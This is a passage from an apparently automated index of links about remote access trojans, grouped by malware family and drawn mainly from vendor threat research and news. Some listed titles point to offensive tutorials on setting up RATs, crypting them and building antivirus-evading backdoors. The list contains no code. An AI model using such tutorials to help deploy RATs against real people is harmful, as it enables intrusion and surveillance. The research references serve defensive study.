## <a id="e8fa6ccd3f727add34525951a81fd493"></a>GulfRAT - 2020.01 [TheCyberWire] [Phishing with a RAT in the Gulf. More on how Jeff Bezos was hacked. Microsoft discloses data...](https://www.youtube.com/watch?v=wFAcCuqdqSY) - 2020.01 [TheCyberWire] [Escalation in the Gulf as a US air strike kills Iran’s Quds commander. Travelex and RavnAir...](https://www.youtube.com/watch?v=R6j1evxLj1g) - 2019.08 [nettitude] [Tanker Cyber Attacks taking place in the Gulf](https://blog.nettitude.com/tanker-cyber-attacks) - 2017.09 [mikefrobbins] [PowerShell Toolmaking session this Saturday, September 30th at Gulf Coast Code Camp 2017 in Mobile, Alabama](http://mikefrobbins.com/2017/09/28/powershell-toolmaking-session-this-saturday-september-30th-at-gulf-coast-code-camp-2017-in-mobile-alabama/) - 2016.11 [fireeye] [FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region](https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html) - 2016.03 [elearnsecurity] [Visit eLearnSecurity on Gulf Information Security and Gulf Expo 2016 in Dubai](https://blog.elearnsecurity.com/visit-elearnsecurity-on-gulf-information-security-and-gulf-expo-2016-in-dubai.html) - 2015.07 [welivesecurity] [New report explains gulf between security experts and non-experts](https://www.welivesecurity.com/2015/07/28/new-report-explains-gulf-security-experts-non-experts/) - 2010.08 [publicintelligence] [Los Zetas and Gulf Cartel Perpetrators of Mexican Drug Trafficking Violence Organizational Chart](https://publicintelligence.net/los-zetas-and-gulf-cartel-perpetrators-of-mexican-drug-trafficking-violence-organizational-chart/) - 2010.05 [publicintelligence] [BP Minerals Management Service Workshop Brief: Unlocking Gulf of Mexico “Technological Challenges”](https://publicintelligence.net/bp-minerals-management-service-workshop-brief-gulf-of-mexico-technological-challenges/) *** ## <a id="57ea699dadcafe202a31772c837f9b7f"></a>NetWireRAT - 2020.01 [securityintelligence] [New NetWire RAT Campaigns Use IMG Attachments to Deliver Malware Targeting Enterprise Users](https://securityintelligence.com/posts/new-netwire-rat-campaigns-use-img-attachments-to-deliver-malware-targeting-enterprise-users/) - 2019.11 [carbonblack] [Active C2 Discovery Using Protocol Emulation Part1 (HYDSEVEN NetWire)](https://www.carbonblack.com/2019/11/20/active-c2-discovery-using-protocol-emulation-part1-hydseven-netwire/) - 2019.09 [fortinet] [New NetWire RAT Variant Being Spread Via Phishing](https://www.fortinet.com/blog/threat-research/new-netwire-rat-variant-spread-by-phishing.html) - 2019.08 [malware] [2019-08-23 - DATA DUMP (URSNIF, RIG EK, NETWIRE RAT)](http://malware-traffic-analysis.net/2019/08/23/index.html) - 2019.04 [myonlinesecurity] [Fake DHL Shipment Notification delivers Netwire Trojan](https://myonlinesecurity.co.uk/fake-dhl-shipment-notification-delivers-netwire-trojan/) - 2018.11 [traffic] [[2018-11-21] HookAds->FalloutEK->AZORult->NetWireRAT](https://traffic.moe/2018/11/21/index.html) - 2017.11 [myonlinesecurity] [Fake HSBC Advising Service Payment Advice malspam delivers Netwire trojan](https://myonlinesecurity.co.uk/fake-hsbc-advising-service-payment-advice-malspam-delivers-netwire-trojan/) - 2017.10 [myonlinesecurity] [Fake HSBC Swift Copy delivers Netwire trojan](https://myonlinesecurity.co.uk/fake-hsbc-swift-copy-delivers-netwire-trojan/) - 2017.09 [TechnoHacker] [NetWire HKCU/Run vs ActiveX Startup](https://www.youtube.com/watch?v=B2Au16gy4nE) - 2017.08 [TechnoHacker] [Netwire Tutorial: How to Sign the Android Host](https://www.youtube.com/watch?v=zEJrkKr29mU) - 2017.04 [TechnoHacker] [How to crypt Netwire with Cyberseal](https://www.youtube.com/watch?v=hzZtBO95B-U) - 2017.04 [TechnoHacker] [Netwire RAT Review](https://www.youtube.com/watch?v=jRCBTmBIT8g) - 2014.08 [paloaltonetworks] [NetWire and MITRE](https://unit42.paloaltonetworks.com/netwire-mitre-chopshop/) - 2014.08 [paloaltonetworks] [New Release: Decrypting NetWire C](https://unit42.paloaltonetworks.com/new-release-decrypting-netwire-c2-traffic/) *** ## <a id="20cd83aa4b202931ed4597c506d61257"></a>JhoneRAT - 2020.01 [talosintelligence] [JhoneRAT: Cloud based python RAT targeting Middle Eastern countries](https://blog.talosintelligence.com/2020/01/jhonerat.html) *** ## <a id="2da027a7cc244e466f914c996623d114"></a>Dacls - 2019.12 [360] [Lazarus Group使用Dacls RAT攻击Linux平台](https://blog.netlab.360.com/dacls-the-dual-platform-rat/) - 2019.12 [360] [Dacls, the Dual platform RAT](https://blog.netlab.360.com/dacls-the-dual-platform-rat-en/) *** ## <a id="8bfe869e8aca6fa9e7d2d5b0353c0dc2"></a>BlackRemote - 2019.12 [carbonblack] [Threat Analysis Unit (TAU) Threat Intelligence Notification: BlackRemote RAT](https://www.carbonblack.com/2019/12/13/threat-analysis-unit-tau-threat-intelligence-notification-blackremote-rat/) *** ## <a id="9ac323d054e6f52e9a92e449b51e75e6"></a>Orcus - 2019.11 [krebsonsecurity] [Orcus RAT Author Charged in Malware Scheme](https://krebsonsecurity.com/2019/11/orcus-rat-author-charged-in-malware-scheme/) - 2019.01 [morphisec] [New Campaign Delivers Orcus RAT](https://blog.morphisec.com/new-campaign-delivering-orcus-rat) - 2018.04 [freebuf] [基于SYLK文件传播Orcus远控木马样本分析](http://www.freebuf.com/articles/system/167141.html) - 2017.12 [fortinet] [Circle of the fraud: more information about Bitcoin Orcus RAT campaign](https://blog.fortinet.com/2017/12/22/circle-of-the-fraud-more-information-about-bitcoin-orcus-rat-campaign) - 2017.12 [fortinet] [Circle of the fraud: more information about Bitcoin Orcus RAT campaign](https://www.fortinet.com/blog/threat-research/circle-of-the-fraud-more-information-about-bitcoin-orcus-rat-campaign.html) - 2017.12 [fortinet] [A Peculiar Case of Orcus RAT Targeting Bitcoin Investors](https://blog.fortinet.com/2017/12/07/a-peculiar-case-of-orcus-rat-targeting-bitcoin-investors) - 2017.12 [fortinet] [Orcus 远控瞄准比特币投资者, 伪装成比特币交易机器人 Gunbot 进行传播](https://www.fortinet.com/blog/threat-research/a-peculiar-case-of-orcus-rat-targeting-bitcoin-investors.html) - 2017.05 [freebuf] [Orcus VM的解题步骤](http://www.freebuf.com/articles/network/133796.html) - 2017.04 [hackingarticles] [Hack the Orcus VM CTF Challenge](http://www.hackingarticles.in/hack-orcus-vm-ctf-challenge/) - 2017.04 [techanarchy] [VulnHub Orcus Solution](http://techanarchy.net/2017/04/vulnhub-orcus-solution/) - 2017.03 [vulnhub] [hackfest2016: Orcus](https://www.vulnhub.com/entry/hackfest2016-orcus,182/) - 2017.03 [vulnhub] [hackfest2016: Orcus](https://www.vulnhub.com/entry/hackfest2016-orcus,182/) - 2016.08 [deniable] [Cracking Orcus RAT](http://deniable.org/cracking-orcus-rat/) - 2016.08 [deniable] [Cracking Orcus RAT](http://blog.deniable.org/blog/2016/08/09/cracking-orcus-rat/) - 2016.08 [deniable] [Cracking Orcus RAT](http://deniable.org/reversing/cracking-orcus-rat) - 2016.08 [paloaltonetworks] [Orcus – Birth of an unusual plugin bu](https://unit42.paloaltonetworks.com/unit42-orcus-birth-of-an-unusual-plugin-builder-rat/) - 2016.07 [krebsonsecurity] [Canadian Man Behind Popular ‘Orcus RAT’](https://krebsonsecurity.com/2016/07/canadian-man-is-author-of-popular-orcus-rat/) *** ## <a id="8038672c0b8ef4b0b82afdeae025b38c"></a>NukeSped - 2019.10 [fortinet] [A Deep-Dive Analysis of the NukeSped RATs](https://www.fortinet.com/blog/threat-research/deep-analysis-nukesped-rat.html) *** ## <a id="11b35c707990ed436d23cc7495713177"></a>DarkComet - 2018.09 [UltraHacks] [How to setup DarkCometRAT 5.3.1 + Portforward](https://www.youtube.com/watch?v=fTeUTvg1_jE) - 2018.04 [freebuf] [CVE-2017-11882新动态：利用AutoIT脚本释放DarkComet后门](http://www.freebuf.com/vuls/166744.html) - 2018.03 [tencent] [CVE-2017-11882新动态：利用AutoIT脚本释放DarkComet后门](https://s.tencent.com/research/report/451.html) - 2017.10 [rsa] [Malspam Delivers DarkComet RAT October-2017](https://community.rsa.com/community/products/netwitness/blog/2017/10/12/malspam-delivers-darkcomet-rat-october-2017) - 2017.01 [HackingMonks] [Darkcomet Rat Tutorial (Trojans are awesome)](https://www.youtube.com/watch?v=eS9BIFaFKNM) - 2016.02 [hackingarticles] [Hack Remote PC using Darkcomet RAT with Metasploit](http://www.hackingarticles.in/hack-remote-pc-using-darkcomet-rat-with-metasploit/) - 2015.11 [TechnoHacker] [How to setup DarkComet RAT [Voice Tutorial] [Download Link]](https://www.youtube.com/watch?v=Lqcg7gcKCfo) - 2015.07 [SecurityBSidesLondon] [Kevin Breen - DarkComet From Defense To Offense - Identify your Attacker](https://www.youtube.com/watch?v=tRM6HrW7BAc) - 2015.03 [heimdalsecurity] [Security Alert: Infamous DarkComet RAT Used In Spear Phishing Campaigns](https://heimdalsecurity.com/blog/darkcomet-rat-phishing-campaigns/) - 2015.03 [sketchymoose] [Smooshing the Square Peg into the Round Hole: DarkComet Plugin for 64-bit images](https://sketchymoose.blogspot.com/2015/03/smooshing-square-peg-into-round-hole.html) - 2012.07 [freebuf] [DarkComet RAT作者宣布项目停止开发](http://www.freebuf.com/news/4939.html) - 2012.06 [freebuf] [[更新]一款强大的远控 – DarkComet RAT V5.3.1](http://www.freebuf.com/sectool/3957.html) - 2012.06 [malwarebytes] [You dirty RAT! Part 1: DarkComet](https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/) - 2012.04 [trendmicro] [Fake Skype Encryption Software Cloaks DarkComet Trojan](https://blog.trendmicro.com/trendlabs-security-intelligence/fake-skype-encryption-software-cloaks-darkcomet-trojan/) - 2012.04 [toolswatch] [DarkComet-RAT Remote Administration Tool v5.1.1 released](http://www.toolswatch.org/2012/04/darkcomet-rat-remote-administration-tool-v5-1-1released/) - 2012.03 [quequero] [DarkComet Analysis – Understanding the Trojan used in Syrian Uprising](https://quequero.org/2012/03/darkcomet-analysis-understanding-the-trojan-used-in-syrian-uprising/) - 2012.02 [trendmicro] [DarkComet Surfaced in the Targeted Attacks in Syrian Conflict](https://blog.trendmicro.com/trendlabs-security-intelligence/darkcomet-surfaced-in-the-targeted-attacks-in-syrian-conflict/) - 2011.08 [toolswatch] [DarkComet-RAT (Remote Administration Tool) v4.0 Fix 1 available](http://www.toolswatch.org/2011/08/darkcomet-rat-remote-administration-tool-v4-0-fix-1-available/) - 2011.05 [toolswatch] [DarkComet-RAT v3.3 available](http://www.toolswatch.org/2011/05/darkcomet-rat-v3-3-available/) - 2011.01 [toolswatch] [(EXCLUSIVE) DarkComet-RAT updated to v3.0.1](http://www.toolswatch.org/2011/01/darkcomet-rat-updated-to-v3-0-1/) - 2011.01 [toolswatch] [EXCLUSIVE : DarkComet-RAT 3.0 released (Impressive RAT tool)](http://www.toolswatch.org/2011/01/exclusive-darkcomet-rat-3-0-released-impressive-rat-tool/) *** ## <a id="5af0edca5a51bdd5fd8f8d37b08218c8"></a>WarZone RAT - 2018.11 [UltraHacks] [Warzone RAT C++ | Hidden VNC [PROMOTION VIDEO]| Ultra Hacks](https://www.youtube.com/watch?v=QV_21Qv-0d0) *** ## <a id="84187b0e75ca2a5a844f0367bf6d3c6b"></a>BlackShades - 2017.01 [TechnoHacker] [Blackshades Revisited](https://www.youtube.com/watch?v=8lTFyk5CEQg) - 2016.02 [TechnoHacker] [How to use Blackshades [download link]](https://www.youtube.com/watch?v=9lzbO-QW46o) - 2016.02 [TechnoHacker] [How to setup Blackshades RAT [Voice Tutorial] [download link]](https://www.youtube.com/watch?v=PLYe1JwCoA8) - 2014.05 [malwarebytes] [Taking off the Blackshades](https://blog.malwarebytes.com/threat-analysis/2014/05/taking-off-the-blackshades/) - 2014.05 [endgame] [Blackshades: Why We Should Care About Old Malware](https://www.endgame.com/blog/technical-blog/blackshades-why-we-should-care-about-old-malware) - 2014.05 [trendmicro] [The Blackshades RAT – Entry-Level Cybercrime](https://blog.trendmicro.com/trendlabs-security-intelligence/the-blackshades-rat-entry-level-cybercrime/) - 2014.05 [publicintelligence] [FBI Blackshades Remote Access Tool Private Sector Bulletins and Domain List](https://publicintelligence.net/fbi-blackshades-bulletins/) - 2014.05 [alienvault] [Blackshades Smackdown & Poking China in the Eye](https://www.alienvault.com/blogs/industry-insights/blackshades-smackdown-poking-china-in-the-eye) - 2014.05 [cylance] [A Study in Bots: BlackShades Net](https://www.cylance.com/en_us/blog/a-study-in-bots-blackshades-net.html) - 2014.05 [welivesecurity] [Behind Blackshades: a closer look at the latest FBI cyber crime arrests](https://www.welivesecurity.com/2014/05/20/blackshades-rat-fbi-cybercrime-malware-takedown/) - 2014.05 [krebsonsecurity] [‘Blackshades’ Trojan Users Had It Coming](https://krebsonsecurity.com/2014/05/blackshades-trojan-users-had-it-coming/) - 2014.05 [malwaretech] [FBI Cybercrime Crackdown – Blackshades](https://www.malwaretech.com/2014/05/fbi-cybercrime-crackdown-blackshades.html) - 2012.07 [malwarebytes] [BlackShades Co-Creator Arrested!](https://blog.malwarebytes.com/cybercrime/2012/07/blackshades-co-creator-arrested/) - 2012.06 [malwarebytes] [BlackShades in Syria](https://blog.malwarebytes.com/threat-analysis/2012/06/blackshades-in-syria/) - 2012.06 [citizenlab] [Syrian Activists Targeted with BlackShades Spy Software](https://citizenlab.ca/2012/06/syrian-activists-targeted-with-blackshades-spy-software/) - 2012.06 [malwarebytes] [You Dirty RAT! Part 2 – BlackShades NET](https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-2-blackshades-net/) *** ## <a id="36531e67f10ecd7114880530e5e46e95"></a>DenesRAT - 2019.10 [nsfocus] [海莲花（APT32）组织 DenesRAT木马与相关攻击链分析](http://blog.nsfocus.net/apt32-organization-denesrat-trojan-related-attack-chain-analysis/) *** ## <a id="660f78a639f351f8404accad8c711ca4"></a>WSH RAT - 2019.10 [angelalonso] [WSH RAT - Analysis of the code](https://blog.angelalonso.es/2019/10/wsh-rat-analysis-of-code.html) - 2019.10 [angelalonso] [Fudcrypt using H-Worm from WSH RAT](https://blog.angelalonso.es/2019/10/fudcrypt-using-h-worm-from-wshrat.html) - 2019.09 [freebuf] [黑客购买新型WSH RAT最新变种样本，攻击银行客户](https://www.freebuf.com/articles/system/214269.html) - 2019.09 [angelalonso] [WSH RAT and the link to unknowcrypter and Fudcrypt](https://blog.angelalonso.es/2019/09/wsh-rat-and-link-to-unknowcrypter-and.html) *** ## <a id="319dcbdac181398a9b2ba7f5424a3e04"></a>Qrypter RAT - 2018.04 [4hou] [对愈加流行的Qrypter RAT运作情况进行分析](http://www.4hou.com/web/10902.html) - 2017.12 [angelalonso] [Qrypter Java RAT using Tor](http://blog.angelalonso.es/2017/12/qrypter-java-rat-using-tor.html) *** ## <a id="eb6a3a9a179678734be43ea1eb26f1c3"></a>Adwind - 2019.08 [4hou] [Adwind远控当前被广泛用于公共事业部门的攻击活动中](https://www.4hou.com/info/19812.html) - 2018.10 [reversinglabs] [eWeek: Cisco Talos and ReversingLabs warn that the Adwind Remote Access Trojan (RAT) has added capabilities that enable it bypass some anti-virus technologies](https://www.reversinglabs.com/newsroom/news/eweek-cisco-talos-and-reversinglabs-warn-adwind-remote-access-trojan-rat-has-added.html) - 2018.04 [4hou] [垃圾邮件活动使用XTRAT、DUNIHI和Adwind后门](http://www.4hou.com/info/news/11169.html) - 2018.04 [trendmicro] [趋势科技研究人员监控到垃圾邮件传播跨平台远控Adwind, 同时捆绑了后门XTRAT和DUNIHI和Loki](https://blog.trendmicro.com/trendlabs-security-intelligence/xtrat-and-dunihi-backdoors-bundled-with-adwind-in-spam-mails/) - 2018.04 [ensilo] [enSilo Blocks New Variant of Adwind RAT](https://blog.ensilo.com/ensilo-blocks-new-variant-of-adwind-rat) - 2018.03 [OALabs] [Analyzing Adwind / JRAT Java Malware](https://www.youtube.com/watch?v=yHrr9v0E6MQ) - 2018.03 [heimdalsecurity] [Security Alert: Spam Campaign Spreads Adwind RAT variant, Targeting Computer Systems](https://heimdalsecurity.com/blog/security-alert-spam-campaign-adwind-rat-variant-targeting-systems/) - 2018.02 [fortinet] [New jRAT/Adwind Variant Being Spread With Package Delivery Scam](https://www.fortinet.com/blog/threat-research/new-jrat-adwind-variant-being-spread-with-package-delivery-scam.html) - 2018.02 [rsa] [Winds of Winter - MalSpam Delivers Adwind RAT 2-1-2018](https://community.rsa.com/community/products/netwitness/blog/2018/02/05/winds-of-winter-malspam-delivers-adwind-rat-february-2018) - 2018.02 [myonlinesecurity] [Fake Swift Copy malspam via compromised sites delivering Java Adwind/ QRAT /JRAT Trojan](https://myonlinesecurity.co.uk/fake-swift-copy-malspam-via-compromised-sites-delivering-java-adwind-qrat-jrat-trojan/) - 2017.12 [myonlinesecurity] [Fake “Your UPS Invoice Is Ready” malspam delivers Java Adwind / Java JRAT Trojan](https://myonlinesecurity.co.uk/fake-your-ups-invoice-is-ready-malspam-delivers-java-adwind-java-jrat-trojan/) - 2017.08 [netskope] [Adwind RAT employs new obfuscation techniques](https://www.netskope.com/blog/adwind-rat-employs-new-obfuscation-techniques/) - 2017.07 [trendmicro] [Spam Campaign Delivers Cross-platform Remote Access Trojan Adwind](https://blog.trendmicro.com/trendlabs-security-intelligence/spam-remote-access-trojan-adwind-jrat/) - 2017.03 [freebuf] [Adwind RAT针对企业攻击，目标超过100个国家和地区](http://www.freebuf.com/news/128021.html) - 2017.01 [codemetrix] [Decrypting Adwind jRAT jBifrost trojan](https://codemetrix.net/decrypting-adwind-jrat-jbifrost-trojan/) - 2016.08 [fortinet] [JBifrost: Yet Another Incarnation of the Adwind RAT](https://www.fortinet.com/blog/threat-research/jbifrost-yet-another-incarnation-of-the-adwind-rat.html) - 2016.07 [heimdalsecurity] [Security Alert: Adwind RAT Used in Targeted Attacks with Zero AV Detection](https://heimdalsecurity.com/blog/security-alert-adwind-rat-targeted-attacks-zero-av-detection/) - 2016.02 [securelist] [Expert: cross-platform Adwind RAT](https://securelist.com/expert-cross-platform-adwind-rat/73773/) - 2016.02 [kaspersky] [The wind that smells like RAT: The story of Adwind MaaS](https://www.kaspersky.com/blog/adwind-rat-2/15126/) - 2013.11 [crowdstrike] [Adwind RAT Rebranding](https://www.crowdstrike.com/blog/adwind-rat-rebranding/) *** ## <a id="eb3c9f8af4ebe91aca4649718ff595c2"></a>CannibalRAT - 2018.02 [talosintelligence] [CannibalRAT targets Brazil](http://blog.talosintelligence.com/2018/02/cannibalrat-targets-brazil.html) *** ## <a id="5fe739ee0e8778979807558ccd439b07"></a>jRAT - 2018.10 [cofense] [H-Worm and jRAT Malware: Two RATs are Better than One](https://cofense.com/h-worm-jrat-malware-two-rats-better-one/) - 2018.08 [Sebdraven] [Lammers, stealers and RATs: same technics like Formbook malware to install JRAT and HawkEye…](https://medium.com/p/8c010e9f40d4) - 2018.03 [trustwave] [Crypter-as-a-Service Helps jRAT Fly Under The Radar](https://www.trustwave.com/Resources/SpiderLabs-Blog/Crypter-as-a-Service-Helps-jRAT-Fly-Under-The-Radar/) *** ## <a id="b62c18c1b4fc6d5b52ca826b36cf0819"></a>jsRAT - 2018.02 [netskope] [ShortJSRAT leverages cloud with scriptlets](https://www.netskope.com/blog/shortjsrat-leverages-cloud-scriptlets/) - 2017.07 [rsa] [Recreating the Crime Scene - A JSRat Story](https://community.rsa.com/community/products/netwitness/blog/2017/07/13/httpscommunityrsacomblogcreate-postjspacontainertype37containerid1034draftid43558recreating-the-crime-scene-a-jsrat-story) - 2016.05 [evi1cg] [JSRAT几种启动方式](https://evi1cg.me/archives/Run_JSRAT.html) - 2016.03 [hackingarticles] [Hack Remote Windows 10 PC using JSRAT](http://www.hackingarticles.in/hack-remote-windows-10-pc-using-jsrat/) - 2015.07 [secist] [使用JSRAT远程管理win10系统](http://www.secist.com/archives/305.html) *** ## <a id="8d0732c4a6cf2393c0ff4e6cfe54f50f"></a>CrossRat - 2018.01 [360] [分析一款全球网络间谍活动中的跨平台恶意软件-CrossRAT（下）](https://www.anquanke.com/post/id/96383/) - 2018.01 [4hou] [CrossRat远程控制软件的分析](http://www.4hou.com/technology/10131.html) - 2018.01 [360] [分析一款全球网络间谍活动中的跨平台恶意软件-CrossRAT（上）](https://www.anquanke.com/post/id/96323/) - 2018.01 [objective] [分析用于全球网络间谍活动的跨平台远控 CrossRAT](https://objective-see.com/blog/blog_0x28.html) *** ## <a id="bb9ad532c3a3c9235157325236380a96"></a>ArmaRat - 2018.09 [360] [ArmaRat：针对伊朗用户长达两年的间谍活动](https://www.anquanke.com/post/id/159264/) *** ## <a id="504b8511fe74ddb142775e007fa509f8"></a>RokRAT - 2018.01 [morphisec] [Threat Profile: RokRAT](http://blog.morphisec.com/threat-profile-rokrat) - 2017.12 [MalwareAnalysisForHedgehogs] [Malware Analysis - ROKRAT Unpacking from Injected Shellcode](https://www.youtube.com/watch?v=uoBQE5s2ba4) - 2017.11 [talosintelligence] [ROKRAT Reloaded](https://blog.talosintelligence.com/2017/11/ROKRAT-Reloaded.html) - 2017.06 [alienvault] [A RAT that Tweets: New ROKRAT Malware Hides behind Twitter, Amazon, and Hulu Traffic](https://www.alienvault.com/blogs/security-essentials/a-rat-that-tweets-new-rokrat-malware-hides-behind-twitter-amazon-and-hulu-traffic) - 2017.04 [360] [使用云平台的ROKRAT木马分析](https://www.anquanke.com/post/id/85847/) - 2017.04 [talosintelligence] [ROKRAT 远控分析：从钓鱼到payload，以Twitter/Yandex/Mediafire做C&C。](https://blog.talosintelligence.com/2017/04/introducing-rokrat.html) *** ## <a id="ec8fe0e42f60749c29b75ed6708a5323"></a>CatKARAT - 2018.01 [hackingarticles] [TCP & UDP Packet Crafting with CatKARAT](http://www.hackingarticles.in/tcp-udp-packet-crafting-catkarat/) *** ## <a id="c3abd29c4145412f661b02b37347e70b"></a>TheFatRat - 2018.11 [freebuf] [技术分享 | 看我如何使用TheFatRat黑掉你的Android手机](https://www.freebuf.com/articles/terminal/188986.html) - 2017.11 [TheHackerStuff] [TheFatRat - Hacking Over WAN - Embedding Payload in Original Android APK - Without Port Forwarding](https://www.youtube.com/watch?v=XLNigYZ5-fM) - 2016.12 [TheHackerStuff] [Kali Linux - TheFatRat - Creating an Undetectable Backdoor - Bypass all AntiVirus](https://www.youtube.com/watch?v=uwMRuQBVS7k) - 2016.09 [freebuf] [TheFatRat：Msfvenom傻瓜化后门生成工具](http://www.freebuf.com/sectool/113597.html) - 2016.07 [hackingarticles] [Hack Remote Windows 10 PC using TheFatRat](http://www.hackingarticles.in/hack-remote-windows-10-pc-using-thefatrat/) *** ## <a id="f1e2e824425e798bf4e410e4496181ed"></a>OmniRAT - 2017.07 [skycure] [Nasty backdoor OmniRAT is back, disguised as GhostCtrl on Android mobile devices](https://www.skycure.com/blog/nasty-backdoor-omnirat-back-disguised-ghostctrl-android-mobile-devices/) - 2015.11 [freebuf] [OmniRAT变种木马被恶意利用](http://www.freebuf.com/news/85281.html) *** ## <a id="bea46716ccf78713fbb9764999968e72"></a>LuminosityLink - 2018.10 [welivesecurity] [LuminosityLink RAT pack leader jailed 30 months in the US](https://www.welivesecurity.com/2018/10/24/luminositylink-rat-author-sentenced-jail/) - 2018.02 [paloaltonetworks] [RAT Trapped? LuminosityLink Falls Foul of Vermin Eradicatio](https://unit42.paloaltonetworks.com/unit42-rat-trapped-luminositylink-falls-foul-vermin-eradication-efforts/) - 2017.05 [UltraHacks] [How to setup LuminosityLink RAT with nVPN | PORTFORWARD FIX!!!](https://www.youtube.com/watch?v=AiiQNtJfgBc) - 2017.05 [umbrella] [The Weather Report: Seamless Campaign, LuminosityLink RAT, and OG-Miner!](https://umbrella.cisco.com:443/blog/2017/05/24/weather-report-seamless-campaign-luminositylink-rat-og-miner/) - 2017.03 [myonlinesecurity] [Request for 1st new order proforma invoice malspam delivers LuminosityLink RAT](https://myonlinesecurity.co.uk/request-for-1st-new-order-proforma-invoice-malspam-delivers-luminositylink-rat/) - 2016.07 [paloaltonetworks] [Investigating the LuminosityLink Remote Access Trojan Conf](https://unit42.paloaltonetworks.com/unit42-investigating-the-luminositylink-remote-access-trojan-configuration/) *** ## <a id="6e0343d40b9606a34ad2ff311d0d259a"></a>其他 - 2020.02 [proofpoint] [Proofpoint Q4 2019 Threat Report and Year in Review — The Year of the RAT Ends with More of the Same](https://www.proofpoint.com/us/threat-insight/post/proofpoint-q4-2019-threat-report-and-year-review-year-rat-ends-more-same) - 2020.01 [sentinelone] [CISO Essentials | How Remote Access Trojans Affect the Enterprise](https://www.sentinelone.com/blog/ciso-essentials-how-remote-access-trojans-affect-the-enterprise/) - 2020.01 [TheCyberWire] [RATs, backdoors, and a remote code execution zero-day. Hoods breach Mitsubishi Electric. Telnet...](https://www.youtube.com/watch?v=8jdAA2O7_EI) - 2020.01 [freebuf] [针对在有效数字证书内植入远控木马病毒分析报告](https://www.freebuf.com/articles/paper/224147.html) - 2020.01 [rambus] [Cable Haunt vulnerability can give hackers remote access to approximately 200 million cable modems](https://www.rambus.com/blogs/cable-haunt-vulnerability-can-give-hackers-remote-access-to-approximately-200-million-cable-modems/) - 2020.01 [proofpoint] [Threat Insight 2019 in Review: Year of the RAT](https://www.proofpoint.com/us/threat-insight/post/threat-insight-2019-review-year-rat) - 2019.12 [ptsecurity] [Turkish tricks with worms, RATs… and a freelancer](http://blog.ptsecurity.com/2019/12/turkish-tricks-with-worms-rats-and.html) - 2019.12 [infosecinstitute] [Malware spotlight: What is a Remote Access Trojan (RAT)?](https://resources.infosecinstitute.com/malware-spotlight-what-is-a-remote-access-trojan-rat/) - 2019.12 [UltraHacks] [Dark Shades Android RAT | Ultra Hacks](https://www.youtube.com/watch?v=toO_edSq_t0) - 2019.11 [broadanalysis] [Fallout Exploit Kit delivers suspect Remote Access Trojan (RAT)](https://broadanalysis.com/2019/11/25/fallout-exploit-kit-delivers-suspect-remote-access-trojan-rat/) - 2019.11 [carbonblack] [Threat Analysis Unit (TAU) Threat Intelligence Notification: AsyncRAT](https://www.carbonblack.com/2019/11/19/threat-analysis-unit-tau-threat-intelligence-notification-asyncrat/) - 2019.11 [proofpoint] [Proofpoint Q3 2019 Threat Report — Emotet’s return, RATs reign supreme, and more](https://www.proofpoint.com/us/threat-insight/post/proofpoint-q3-2019-threat-report-emotets-return-rats-reign-supreme-and-more) - 2019.10 [tencent] [快Go矿工（KuaiGoMiner）控制数万电脑挖矿，释放远控木马窃取机密](https://s.tencent.com/research/report/824.html) - 2019.10 [4hou] [快go矿工（KuaiGoMiner）控制数万电脑挖矿，释放远控木马窃取机密](https://www.4hou.com/system/20919.html) - 2019.10 [proofpoint] [TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader](https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader) - 2019.10 [tencent] [“月光（Moonlight）”蠕虫威胁高校网络，中毒电脑被远程控制](https://s.tencent.com/research/report/821.html) - 2019.10 [4hou] [“月光（Moonlight）”蠕虫威胁高校网络，中毒电脑被远程控制](https://www.4hou.com/system/20853.html) - 2019.10 [freebuf] [反间谍之旅：首款安卓远控木马工具分析](https://www.freebuf.com/articles/terminal/214201.html) - 2019.09 [4hou] [病毒团伙利用phpStudy RCE漏洞批量抓鸡，下发四个远控木马](https://www.4hou.com/system/20637.html) - 2019.09 [aliyun] [利用badusb对用户进行木马远控](https://xz.aliyun.com/t/6386) - 2019.09 [sensecy] [ARABIC-SPEAKING THREAT ACTOR RECYCLES THE SOURCE CODE OF POPULAR RAT SPYNOTE AND SELLS IT IN THE DARK WEB, AS NEW](https://blog.sensecy.com/2019/09/15/arabic-speaking-threat-actor-recycles-the-source-code-of-popular-rat-spynote-and-sells-it-in-the-dark-web-as-new/) - 2019.08 [securelist] [Fully equipped Spying Android RAT from Brazil: BRATA](https://securelist.com/spying-android-rat-from-brazil-brata/92775/) - 2019.08 [talosintelligence] [RAT Ratatouille: Backdooring PCs with leaked RATs](https://blog.talosintelligence.com/2019/08/rat-ratatouille-revrat-orcus.html) - 2019.08 [malware] [2019-08-26 - DATA DUMP: SOCGHOLISH CAMPAIGN PUSHES NETSUPPORT RAT](http://malware-traffic-analysis.net/2019/08/26/index.html) - 2019.08 [fortinet] [Fake Indian Income Tax Calculator Delivers xRAT Variant](https://www.fortinet.com/blog/threat-research/fake-indian-income-tax-calculator-xrat-variant.html) - 2019.07 [tencent] [商贸信家族新活跃：利用钓鱼邮件传播商业远控木马RevetRAT](https://s.tencent.com/research/report/767.html) - 2019.07 [freebuf] [关于远控木马你应该了解的知识点](https://www.freebuf.com/articles/system/207643.html) - 2019.07 [trendmicro] [Spam Campaign Targets Colombian Entities with Custom-made ‘Proyecto RAT,’ Uses Email Service YOPmail for C&C](https://blog.trendmicro.com/trendlabs-security-intelligence/spam-campaign-targets-colombian-entities-with-custom-proyecto-rat-email-service-yopmail-for-cc/) - 2019.07 [freebuf] [APT34核心组件Glimpse：远控复现与流量分析](https://www.freebuf.com/articles/database/207469.html) - 2019.07 [d] [Red Team Diary, Entry #1: Making NSA’s PeddleCheap RAT Invisible](https://medium.com/p/f88ccbdc484d) - 2019.07 [yoroi] [Spotting RATs: Tales from a Criminal Attack](https://blog.yoroi.company/research/spotting-rats-tales-from-a-criminal-attack/) - 2019.07 [cybersecpolitics] [Book Review: Delusions of Intelligence, R.A. RATCLIFF](https://cybersecpolitics.blogspot.com/2019/07/book-review-delusions-of-intelligence.html) - 2019.07 [4hou] [探寻木马进化趋势：APT32多版本远控木马Ratsnif的横向分析](https://www.4hou.com/reverse/18994.html) - 2019.07 [4hou] [浅谈远控木马](https://www.4hou.com/info/observation/19022.html) - 2019.07 [freebuf] 